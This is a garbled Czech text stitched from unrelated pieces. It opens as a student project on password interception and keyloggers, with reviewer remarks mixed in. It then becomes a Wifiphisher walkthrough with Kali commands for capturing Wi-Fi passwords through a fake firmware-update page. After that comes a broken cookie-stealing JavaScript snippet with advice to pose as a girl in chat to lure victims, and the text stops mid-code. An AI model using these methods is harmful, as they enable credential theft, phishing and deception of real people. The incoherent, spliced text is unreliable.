Uživatelská hesla shromažďujeme pomocí proxy a snifferu. Snímání dat v jiných programech

Zavedení

Souhlasíte s tím, že v dnešní době je obtížné si představit počítačový život bez neustálého zadávání hesla. Heslo potřebujeme všude – od zapnutí počítače, registrace na různé stránky a fóra, přístup do našich schránek a konče vytvářením účtů (stránek s osobními údaji a nastavením) v platebních systémech a odesíláním/přijímáním plateb elektronicky. A pokud během jednorázové registrace na nějakém náhodném webu (například jen pro stažení hry), můžete bez váhání zadat jakékoli heslo (dokonce i „123456“), pak při vytváření trvalého účtu na důležitém webu (zejména pokud souvisí s peněžními operacemi) heslo musí být velmi silné V opačném případě může být heslo napadeno útočníkem a získané osobní údaje mohou být použity pro online komunikaci naším jménem (v lepším případě) nebo pro získání půjček či otevření účtů. . Proto je lepší postarat se o ochranu předem a všechna svá „slabá“ hesla změnit na bezpečnější již dnes.
Cílem projektu předmětu je prozkoumat způsoby zachycení hesel uživatelů počítačového systému a způsoby jejich zdolávání

I tak trochu))))))))))))))))))))))))))))))
Účelem projektu kurzu je ????????????????
METODY ODPOUŠTĚNÍ A OPATROVÁNÍ HESEL

Hrubá síla
Brute force (z anglického bruteforce - vyčerpávající vyhledávání nebo metoda "brute force") je jednou z oblíbených metod prolamování hesel na serverech a v různých programech. Spočívá v tom, že crackovací program se snaží získat přístup k nějakému programu (například poštovní schránce) hrubým vynucováním hesel podle kritérií určených vlastníkem tohoto programu: podle slovníku, podle délky, podle kombinace čísel, a takových kritérií je v zásadě mnoho.
Metoda hackování hrubou silou je poměrně dlouhá, ale výkonná, takže zůstává v provozu s hackery dodnes a s ohledem na stále rostoucí výkon počítačů a šířku pásma internetových kanálů zůstane v provozu po dlouhou dobu. .
Tento způsob hádání hesel je velmi dobrý, protože heslo je nakonec prolomeno, ale to může trvat velmi, velmi dlouho, často i staletí. Tato metoda hackování se tedy ne vždy ospravedlňuje, pokud se uživatel-vlastník hacknuté služby choval docela mazaně a nepoužíval jednoduchá hesla jako „123“, „qwerty“ a podobně, ale používal velká i malá písmena a to vše používal jak čísla, tak povolené speciální znaky. Pokud je heslo navíc dostatečně dlouhé (cca 10 znaků), pak prakticky nehrozí jeho hacknutí za použití hrubé síly.
S hrubou silou se nejčastěji používá slovníkový útok – hesla se vybírají z textového souboru předkompilovaného (vyžádaného, ​​zakoupeného, ​​odcizeného, ​​zdarma staženého) slovníku. Tento způsob útoku je velmi účinný při hromadném hackování, řekněme, ICQ internetových messenger účtů, kdy se útočník například snaží hacknout určitý rozsah ICQ čísel. Navíc je dost velká pravděpodobnost, že se slovníkovým útokem uspěje. Příklady zahrnují opakované incidenty hackerů.
Od roku 2005 také výrazně vzrostl počet útoků proti zabezpečeným SSH službám. I když máte na svém serveru nainstalovaný nejnovější software, neznamená to, že je nemožné uhodnout jeho heslo, pokud je firewall neaktivní nebo je nakonfigurován nesprávně či nedostatečně. Chcete-li tedy zvýšit nemožnost hackování, nakonfigurujte správně svůj firewall, pomůže vám to ochránit vás před nepříjemnými překvapeními v budoucnu.
Na internetu je spousta programů pro provádění hrubé síly a existuje pro ně také velké množství bezplatných i placených slovníků.
A nakonec si povíme něco málo o matematické stránce Bruta.
Jak říká Wikipedie, jakýkoli problém z třídy NP lze vyřešit vyčerpávajícím hledáním. To vše ale může trvat exponenciálně.
Při vývoji různých kryptografických šifer se metodou hrubé síly hodnotí její (šifrová) odolnost proti prolomení. V tomto případě je nová šifra považována za dostatečně silnou, pokud neexistuje rychlejší metoda jejího prolomení než úplné prohledání všech možných klíčů. Takové kryptografické útoky, jako jsou brutální útoky, jsou nejúčinnější, ale často zaberou spoustu času.
Pokud jsou známy určité podmínky, metoda password brute používá odfiltrování nepřijatelných hodnot (prázdná hesla, stejné opakující se znaky atd.). V matematice se tato metoda nazývá metoda větví a vazeb.
Metody hrubé síly se také používají k paralelizaci výpočtů, když je zkoušeno několik hesel současně. To se provádí dvěma způsoby: metodou dopravníku a metodou brute z nesouvislých podmnožin všech možných hesel.

Obrázek 1. Model hardwarového vstupu Windows
Když nastanou určité vstupní události (stisknutí kláves, pohyby myši), události jsou zpracovány příslušným ovladačem a umístěny do systémové hardwarové vstupní fronty. Systém má speciální nezpracované vstupní vlákno zvané RIT (RawInputThread), které načítá události ze systémové fronty a převádí je na zprávy. Přijaté zprávy jsou umístěny na konec virtuální vstupní fronty jednoho z vláken (virtuální fronta vlákna se nazývá VIQ - VirtualizedInputQueue-). V tomto případě RIT sám zjistí, do které konkrétní fronty vláken by měla být událost umístěna. U událostí myši je tok určen nalezením okna, nad kterým je umístěn kurzor myši. Události klávesnice jsou odesílány pouze do jednoho vlákna – tzv. aktivního vlákna (tj. vlákna, které vlastní okno, se kterým uživatel pracuje). Ve skutečnosti to není tak úplně pravda – konkrétně obrázek 1 ukazuje vlákno A bez virtuální vstupní fronty. V tomto případě vlákna A a B sdílejí stejnou virtuální vstupní frontu. Toho je dosaženo pomocí volání API funkce AttachThreadInput, která umožňuje jednomu vláknu připojit se k virtuální vstupní frontě jiného vlákna.
Je třeba poznamenat, že nezpracované vstupní vlákno je zodpovědné za zpracování speciálních klávesových zkratek, zejména Alt+Tab a Ctrl+Alt+Del.
Sledování vstupu z klávesnice pomocí pastí
Tato technika je klasická pro keyloggery. Podstatou metody je použití hákového mechanismu operačního systému. Depeše umožňují sledovat zprávy zpracovávané jinými okny programu. Instalace a odstranění háčků se provádí pomocí dobře zdokumentovaných API funkcí knihovny user32.dll (funkce SetWindowsHookEx umožňuje nainstalovat háček, UnhookWindowsHookEx jej umožňuje odstranit). Při nastavování depeše určujete typ zpráv, pro které má být zavolána obsluha depeše. Konkrétně existují dva speciální typy háčků WH_KEYBOARD a WH_MOUSE - pro protokolování událostí klávesnice a myši. Past lze nastavit pro dané vlákno nebo pro všechna vlákna v systému. Past pro všechna systémová vlákna je velmi vhodná pro sestavení keyloggeru.
Kód obslužné rutiny události zavěšení musí být umístěn v knihovně DLL. Tento požadavek je způsoben tím, že DLL s handlerem háku je systémem promítnuta do adresního prostoru všech GUI procesů. Zajímavou funkcí je, že DLL se nepromítá, když je nastaven háček, ale když proces GUI obdrží první zprávu, která vyhovuje parametrům háku.
Metoda pastí je poměrně jednoduchá a účinná, má však řadu nevýhod. První nevýhodou je, že DLL s háčkem se promítá do adresního prostoru všech GUI procesů, což lze použít k detekci keyloggerů. Kromě toho je protokolování událostí klávesnice možné pouze pro GUI aplikace, což lze snadno ověřit pomocí demo programu.
Sledování vstupu z klávesnice pomocí dotazování z klávesnice
Tato technika je založena na periodickém dotazování stavu klávesnice. Pro dotazování stavu kláves poskytuje systém speciální funkci GetKeyboardState, která vrací pole 255 bajtů, ve kterých každý bajt obsahuje stav konkrétní klávesy na klávesnici. Tato metoda již nevyžaduje implementaci knihoven DLL v procesech GUI a v důsledku toho je špion méně patrný.
Ke změně stavu klíče však dochází, když vlákno čte zprávy klávesnice ze své fronty, a v důsledku toho tato technika funguje pouze pro monitorování aplikací GUI. Funkce GetAsyncKeyState je bez této nevýhody a vrací stav klíče v době, kdy byla funkce volána.
Nevýhodou tohoto typu keyloggeru je nutnost periodického dotazování stavu klávesnice poměrně vysokou rychlostí, alespoň 10-20 dotazů za sekundu.
Sledování vstupu z klávesnice pomocí funkce API zachycení
Tato technika není široce používána, ale přesto ji lze s úspěchem použít k sestavení keyloggerů Rozdíl mezi RootKit a keyloggery je v tomto případě malý – špión bude zachycovat funkce za účelem monitorování, nikoli za účelem úpravy principů. operace a výsledky volání.
Nejjednodušším způsobem by bylo zachytit funkce GetMessage, PeekMessage a TranslateMessage knihovny User32, což vám umožní sledovat všechny zprávy přijímané GUI aplikacemi.

Keylogger založený na ovladači
Tato metoda je ještě účinnější než metody popsané výše. Pro implementaci této metody existují minimálně dvě možnosti – napsat a nainstalovat do systému vlastní ovladač klávesnice místo standardního, nebo nainstalovat ovladač filtru. Nejsprávnější metodou je použití filtru ovladače.

Hardwarové keyloggery
Při řešení problémů ochrany před únikem informací se často uvažuje pouze o různých softwarových nástrojích pro špehování práce uživatele. Kromě softwaru je však možný také hardware:
Instalace sledovacího zařízení do přerušení kabelu klávesnice (například zařízení může být vyrobeno ve formě adaptéru PS/2);
Zabudování sledovacího zařízení do klávesnice;
Čtení dat registrací PEMIN (rušivé elektromagnetické záření a interference);
Vizuální pozorování klávesnice
Hardwarové keyloggery jsou mnohem méně běžné než softwarové. Při kontrole zvláště kritických počítačů (například těch, které se používají pro bankovní transakce) by se však nemělo zapomínat na možnost hardwarového sledování vstupu z klávesnice.
Příklad keyloggeru
V současné době existují stovky keyloggerů, jako příklad uveďme docela běžný komerční program ActualSpy (dialogové okno programu je zobrazeno níže) (http://www.actualspy.ru). Tento program může registrovat vstup z klávesnice (s registrací názvu okna a názvu programu), pořizovat snímky obrazovky podle plánu, registrovat spouštění/zastavování programů, sledovat schránku, tiskárnu a soubory vytvořené uživatelem. Kromě toho program sleduje připojení k internetu a navštívené stránky. Jako příklad je vybrán ActualSpy

Program má nejjednodušší kamufláž z detekce - není vidět ve standardním seznamu úloh Windows. Pro analýzu shromážděných informací program generuje protokoly ve formátu HTML. Princip fungování programu ActualSpy je založen na pasti, která registruje události klávesnice.
Mezi další příklady patří SpyAgent (http://www.spytech-web.com), ActMon (http://www.actmon.com), SpyBuddy (http://www.actmon.com), PC ActivityMonitor ( http:/ /www.keyloggers.com), KGB Spy (http://www.refog.ru/)…. V tomto výčtu lze pokračovat velmi dlouho, ale ve většině případů mají moderní keyloggery přibližně stejnou základní funkčnost a liší se servisními funkcemi a kvalitou maskování v systému.
Techniky pro nalezení keyloggerů
1. Vyhledávání podle podpisů. Tato metoda se neliší od standardních technik vyhledávání virů. Vyhledávání signatur umožňuje jednoznačně identifikovat keyloggery se správnou volbou signatur, pravděpodobnost chyby je téměř nulová. Skener podpisů však bude schopen detekovat objekty, které jsou dříve známé a popsané v jeho databázi;
2. Heuristické algoritmy. Jak název napovídá, jedná se o metody vyhledávání keyloggeru na základě jeho charakteristických vlastností. Heuristické vyhledávání má pravděpodobnostní povahu. Jak ukázala praxe, tato metoda je nejúčinnější pro nalezení keyloggerů nejběžnějšího typu - těch založených na pastích. Takové metody však dávají mnoho falešně pozitivních výsledků. Výzkum ukázal, že existují stovky zabezpečených programů, které nejsou keyloggery, ale které nastavují pasti na sledování vstupu z klávesnice a myši. Nejběžnějšími příklady jsou programy PuntoSwitcher, slovník Lingvo, software z multimediálních klávesnic a myší;
3. Monitorování funkcí API používaných keyloggery. Tato technika je založena na zachycení řady funkcí používaných keyloggerem – zejména funkcí SetWindowsHookEx, UnhookWindowsHookEx, GetAsyncKeyState, GetKeyboardState. Volání těchto funkcí libovolnou aplikací umožňuje vyvolat poplach včas, avšak problémy s mnoha falešnými poplachy budou podobné jako u metody 2;
4. Monitorování ovladačů, procesů a služeb používaných systémem. Jedná se o univerzální techniku ​​použitelnou nejen proti keyloggerům. V nejjednodušším případě můžete použít programy jako KasperskyInspector nebo Adinf, které sledují vzhled nových souborů v systému.

Programy pro vyhledávání a odstraňování keyloggerů
1. Jakýkoli antivirový produkt. Všechny antiviry dokážou do té či oné míry detekovat keyloggery, ale keylogger není virus a v důsledku toho je antivirus málo užitečný;
2. Obslužné programy, které implementují mechanismus vyhledávání signatur a mechanismy heuristického vyhledávání. Příkladem je utilita AVZ, která kombinuje skener podpisů a detekční systém keylogger založený na pasti;
3. Specializované nástroje a programy určené k detekci keyloggerů a blokování jejich práce. Takové programy jsou nejúčinnější pro detekci a blokování keyloggerů, protože obvykle dokážou zablokovat téměř všechny typy keyloggerů.

Ze specializovaných programů mohou zaujmout komerční produkty PrivacyKeyboard a Anti-keylogger (ukázkový program (http://www.bezpeka.biz/) Rozhraní programu Anti-keylogger je znázorněno na obrázku:

Program Anti-keylogger běží na pozadí a detekuje programy podezřelé ze sledování klávesnice. V případě potřeby můžete ručně odblokovat činnost některého z detekovaných programů (například obrázek ukazuje, že MSCTF a program pro stahování z internetu FlashGet jsou zahrnuty v seznamu „spyware“). Databáze podpisů se nepoužívají k detekci keyloggerů, detekce se provádí pomocí heuristických metod.
Testování programu ukázalo, že účinně bojuje proti keyloggerům na základě použití pastí, cyklického dotazování a filtru ovladače klávesnice.
Dalším příkladem je program AdvancedAntiKeylogger (Příklad programu je uveden níže) (http://www.anti-keylogger.net).

V tréninkovém režimu je tento program v provozní logice podobný Firewallu – při zjištění podezřelé aktivity se zobrazí varování s názvem a popisem programu. Uživatel může vybrat akci pro relaci (povolit, zakázat) nebo vytvořit trvalé pravidlo pro aplikaci. Během testů AdvancedAntiKeylogger s jistotou detekoval všechny hlavní typy keyloggerů (na základě pasti, cyklického dotazování a filtru ovladače). Nastavení programu je chráněno heslem, které je zadáno při instalaci.

Závěr
Keylogger není virus, ale přesto představuje pro uživatele velkou hrozbu, protože umožňuje útočníkovi sledovat práci uživatele a může být použit ke krádeži důvěrných informací, včetně uživatelských hesel. Nebezpečí keyloggeru se může výrazně zvýšit, když je kombinován s technologií RootKit, která zamaskuje přítomnost keyloggeru. Ještě nebezpečnější je trojský kůň neboli backdoor program, který obsahuje keylogger – jeho přítomnost výrazně rozšiřuje funkce trojského programu a jeho nebezpečnost pro uživatele.

Takže dejte všechno do pořádku, nechápu, kde jsou body, co je co, podepište všechny výkresy. odstranit (nebo nahradit) všechny fráze argumentu toto není deník

Tak to je dobře
Závěr

Po prostudování materiálu můžete vyvodit některé závěry:
Co to je, bojím se zeptat)))))))))))))))))???????????????????????? Odstraňte slovo Píšete knihu?
1. Heslo by nemělo být krátké.
Mít heslo kratší než 8 znaků je obecně nežádoucí a je ještě lepší, pokud heslo obsahuje 10-12 znaků nebo více.
2. Heslo by nemělo obsahovat pouze čísla nebo pouze písmena (zejména opakující se). Nejlepší je, když se písmena a čísla střídají, a ještě lepší je, když jsou do hesla přidány speciální znaky nebo interpunkční znaménka.
4. Nepoužívejte heslo, které obsahuje jakékoli údaje o vás nebo vaší rodině – všechny druhy zapamatovatelných dat (narození, svatby atd.), jména a příjmení příbuzných, čísla bytů, doklady nebo telefonní čísla. Je také nepřípustné používat jakékoli kombinace vytvořené z osobních údajů.
5. Heslo by mělo být bezvýznamné, takže je lepší vyhnout se heslu, které je jakékoli existující slovo ve slovníku (v jakémkoli jazyce).
6. Nepoužívejte „tajné otázky“, jejichž odpovědi lze snadno zjistit nebo vybrat.
7. Pro každou jednotlivou internetovou službu, fórum, stránku je nutné používat unikátní heslo.
8. Neuchovávejte hesla na očích.
9. Neukládejte hesla na internetu nebo v počítači jako textový soubor.
Pokud útočník získá přístup k našemu počítači, pak pro něj (a kdekoli na pevném disku) bude ještě jednodušší najít soubor s hesly.
10. Neukládejte hesla pomocí vestavěných „spořičů hesel“ v prohlížeči.
Za prvé, nikdy si nemůžete být jisti spolehlivostí takového „chovatele“ a tím, že prohlížeč samotný neobsahuje „díry“ ve své ochraně. Útočníci hledají především „díry“ v prohlížečích, protože... Každý používá prohlížeče.
Za druhé, pokud selže prohlížeč nebo celý systém, pak je velmi vysoká pravděpodobnost, že ztratíme přístup ke všem heslům, která prohlížeč ukládá, a přestože se nejedná o hackování, je to také nepříjemné.
11. Vytvořte kopie hesel.
Pokud k ukládání hesel používáte speciální software, nezapomeňte si pravidelně vytvářet záložní kopie databází hesel. Pokud ukládáte hesla na kus papíru, vytvořte druhou kopii takového listu (nebo poznámkového bloku) a uložte originál a duplikát na různá (tajná) místa.
12. Nezadávejte hesla do programů třetích stran, na weby třetích stran a neposílejte hesla poštou (ani na vyžádání od služby podpory nebo správy webu). Správa SKUTEČNĚ seriózního webu nikdy nebude vyžadovat heslo, takže pokud takový požadavek dostanete, pak je to s největší pravděpodobností práce podvodníků.
13. Zadávejte hesla na cizích počítačích co nejméně, zejména na veřejných místech (internetové kavárny, terminály atd.). Je velmi nežádoucí zadávat hesla na cizím počítači pro přihlášení k vašemu účtu platebního systému nebo používání internetového bankovnictví, protože Je možné, že tento počítač používá zařízení nebo program k zapamatování sekvence úhozů (keyloggery).
14. Pravidelně měňte hesla (zejména pokud jste heslo použili na počítači někoho jiného). Čím silnější heslo, tím déle jej můžete používat. Silné heslo o délce 12–14 znaků, sestavené s ohledem na výše popsaná doporučení, nelze několik let změnit.

Seznam referencí (bude zde někdy)

Někteří čtenáři si ale stěžují, že prolomení WPA2 zabere příliš mnoho času a že ochrana WPS není povolena na všech přístupových bodech (podle mého názoru je stále poměrně hodně přístupových bodů s WPS). Abych vám v takových situacích pomohl, řeknu vám o prakticky zaručeném způsobu, jak získat heslo Wi-Fi bez jakéhokoli hackování pomocí

Skryto před hosty

Fáze strategie Wifiphisher
​

Cílem je vytvořit a následně deautentizovat uživatele z jeho původního bodu (k tomu je vhodný i DoS útok). Po opětovném připojení bude přesměrován na váš falešný přístupový bod se stejným SSID a uvidí zdánlivě skutečnou webovou stránku vyžadující heslo kvůli „aktualizaci firmwaru“. Jakmile zadáte heslo, zachytíte ho a umožníte mu použít zlé dvojče jako skutečný přístupový bod, aniž by něco tušil. Skvělý plán!

Wifiphisher tedy dělá následující:

K dosažení svého cíle budete potřebovat dva, z nichž jeden je schopen provádět vkládání paketů. V tomto případě jsem použil model. Můžete si vybrat jiné adaptéry, ale než tak učiníte, ujistěte se, že jsou kompatibilní (podpora vkládání paketů). Prosím, nestěžujte si, že vám nic nefunguje, dokud neotestujete bezdrátový adaptér a nezjistíte, že je schopen vkládání paketů. Většina modelů tuto funkci nemá.

No a teď se pojďme podívat na Wifiphisher.

Krok 1: Stáhněte si Wifiphisher

Chcete-li začít, spusťte Kali a otevřete terminál. Poté si stáhněte Wifiphisher z

Skryto před hosty

A rozbalte kód.

Kali > tar -xvzf /root/wifiphisher-1.1.tar.gz

Na níže uvedeném snímku obrazovky můžete vidět, že jsem extrahoval zdrojový kód Wifiphisher.

Případně můžete zkopírovat kód z GitHubu spuštěním následujícího příkazu:

Kali > klon git https://github/sophron/wifiphisher

Kali > cd wifiphisher-.1.1

Když si prohlédnete obsah tohoto adresáře, uvidíte tam skript wifiphisher.py.

Kali > ls -l

Krok 3: Spusťte skript

Skript Wifiphisher můžete spustit pomocí tohoto příkazu:

Kali > python wifiphisher.py

Upozorňujeme, že před název skriptu uvádím jméno interpreta - python.

Při prvním spuštění vám skript s největší pravděpodobností řekne, že „hostapd“ nebyl nalezen, a vyzve vás k jeho instalaci. Chcete-li zahájit instalaci hostapd, zadejte "y" (ano).

Po dokončení instalace spusťte znovu skript Wifiphisher.

Kali > python wifiphisher.py

Tentokrát spustí webový server na portech 8080 a 443 a poté vyhledá všechny dostupné Wi-Fi sítě.

Poté se na obrazovce zobrazí seznam všech detekovaných sítí Wi-Fi. V mém příkladu se nástroji podařilo najít síť s názvem „wonderhowto“. Stane se cílem našeho útoku.

Krok 4: Spusťte útok a získejte heslo

Klikněte Ctrl+C na klávesnici a aplikace vás požádá o zadání čísla přístupového bodu, na který chcete zaútočit. V mém případě je to bod číslo 12.

Po stisknutí klávesy Enter vám Wifiphisher zobrazí stránku, kterou můžete vidět na snímku obrazovky níže. To znamená, že rozhraní je nyní používáno a SSID je klonováno a vybraný přístupový bod je napaden.

Uživatel bude odpojen od svého přístupového bodu. Při opětovném připojení bude přesměrován na náš.

Jakmile k tomu dojde, proxy na webovém serveru zachytí požadavek a nabídne uživateli falešnou přihlašovací stránku s informací, že nainstalovali novou verzi firmwaru routeru a potřebují se znovu ověřit.

Jak vidíte, zadal jsem své heslo (nullbyte) a kliknul na Odeslat.

Když uživatel zadá své heslo, bude vám zasláno prostřednictvím otevřeného terminálu Wifiphisher. Poté obslužný program umožní uživateli přístup k internetu prostřednictvím vašeho systému, aby nic netušil.

Nyní můžete získat i to nejsložitější heslo Wi-Fi! Nezapomeňte se k nám čas od času vracet pro nové zajímavé články o různých technikách hackerů!

var cook=show_all_cookies();

document.open("cookies",cook);

document.write("

document.close("cookies");

(skript byl z bezpečnostních důvodů mírně změněn) Nyní zbývá pouze nalákat oběť na stránku, kde po kliknutí na tlačítko OK vyskočí okno s nápisem „Dobrý den“, vaše Cookies budou odeslány na útočníkovi, které obsahují spoustu zajímavých věcí – od vašich IP adres až po hesla ke službám, které používáte.

Jednoduchá studie Cookies může odhalit poměrně mnoho zajímavých informací. Jediné, co útočník riskuje, je, že se leskne mýdlem, ale protože je nyní příliš mnoho volných schránek, není to tak nebezpečné. Obvykle je krabice vytvořena k provedení útoku a poté buď zničena, nebo opuštěna, takže zloděje již nelze najít. Ačkoli můžete tento skript napsat do souboru s příponou js a vložit jej na web pomocí

Pojďme zveřejnit naše!

v tomto případě již mýdlo nesvítí. Jak na své stránky nalákat oběť? Ano, způsobů je šíleně mnoho, například vtrhnete do chatu a vyberete si oběť, po krátkém rozhovoru s obětí si musíte získat její přízeň, nejlepší je, když je vaše oběť opačného pohlaví než vy. Praxe ukazuje, že je pro vás nejlepší, když vás na chatu zastupuje dívka, podle toho si vyberte přezdívku, která by vás jako dívku charakterizovala (při hovoru sledujte, co píšete. Neprozrazujte se s koncovkami; slov, pokud jsi předstíral, že jsi dívka, pak jí buď). Všichni chápou, že s dívkou budou všichni mluvit. Pamatujte, že je lepší na oběť nevyvíjet nátlak, ale například se zeptat „máte fotku na této adrese http://your site.ru, jděte, jestli chcete? Každého chlapa bude zajímat, jak vypadá jeho partner, a jakmile se dostane na vaši stránku, vstoupíte do potní krabice a vezmete si odtamtud jeho cookies. To je vše, nyní se v nich stačí prohrabat a najdete téměř vše, co chcete, stejným způsobem můžete zjistit IP adresu člověka, který používá proxy servery, a když znáte IP, můžete si ji zkontrolovat sdílené zdroje, provést útok Dos nebo ho prostě dětinsky vyhodit z chatu. Na webu si také můžete udělat legraci, například pomocí tohoto skriptu:

pro (I=1; I